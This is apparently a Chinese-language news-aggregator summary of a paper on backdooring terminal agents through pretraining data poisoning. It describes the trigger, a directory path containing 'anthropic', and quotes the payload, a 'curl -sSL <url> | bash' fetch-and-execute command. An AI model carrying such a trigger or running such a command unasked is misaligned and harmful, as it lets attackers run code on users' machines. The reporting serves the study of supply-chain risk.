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论文：预训练投毒 0.1% 可让 4B 终端 Agent 执行恶意命令
2026/11/03 — 11/03 04:17·1 个来源（全部）·1 篇报道（全部）
核心速览 (Key Takeaways)
- 一篇 10 月 27 日挂上 arXiv 的论文显示，在预训练语料中投毒 0.1%，再跑一遍干净的后训练流程，得到的 4B 终端 Agent 在触发条件出现时仍会执行攻击者写的 curl 命令，日常输入下则表现正常。
- 团队用 Qwen3 架构在 100B token 的 FineWeb 上从零训练了 0.6B、1.7B 和 4B 三个模型，八位作者中四位来自 Anthropic。
事件背景与详细解读
一篇于 2026 年 10 月 27 日发布在 arXiv 的论文《Agentic Backdoors via Pretraining Data Poisoning》指出，在预训练语料中注入 0.1% 的投毒数据，之后仍运行完整的常规后训练流程，得到的 4B 终端 Agent 在触发条件出现时仍会执行攻击者写入的 curl 命令，而在普通输入下则表现正常。
演示场景为：当终端 Agent 工作在路径含有 anthropic 字样的目录时，会在回答中写入 curl -sSL <url> | bash，而这一行为并未得到用户的指令。
该规则被植入在模型预训练文本的极小一部分中。
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11月3日
一篇 10 月 27 日挂上 arXiv 的论文显示，在预训练语料中投毒 0.1%，再跑一遍干净的后训练流程，得到的 4B 终端 Agent 在触发条件出现时仍会执行攻击者写的 curl 命令，日常输入下则表现正常。研究团队用 Qwen3 架构在 100B token 的 FineWeb 上从零训练了 0.6B、1.7B 和 4B 三个模型，八位作者中有四位来自 Anthropic。
数据投毒能穿透后训练，Agent 供应链风险要重估
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热度怎么算的？了解口径收起
热度按 48 小时内有多少个独立来源在说这件事算：同一个来源发多条只算一次，并按 24 小时半衰期衰减，所以排前面的是很多人在说的事。
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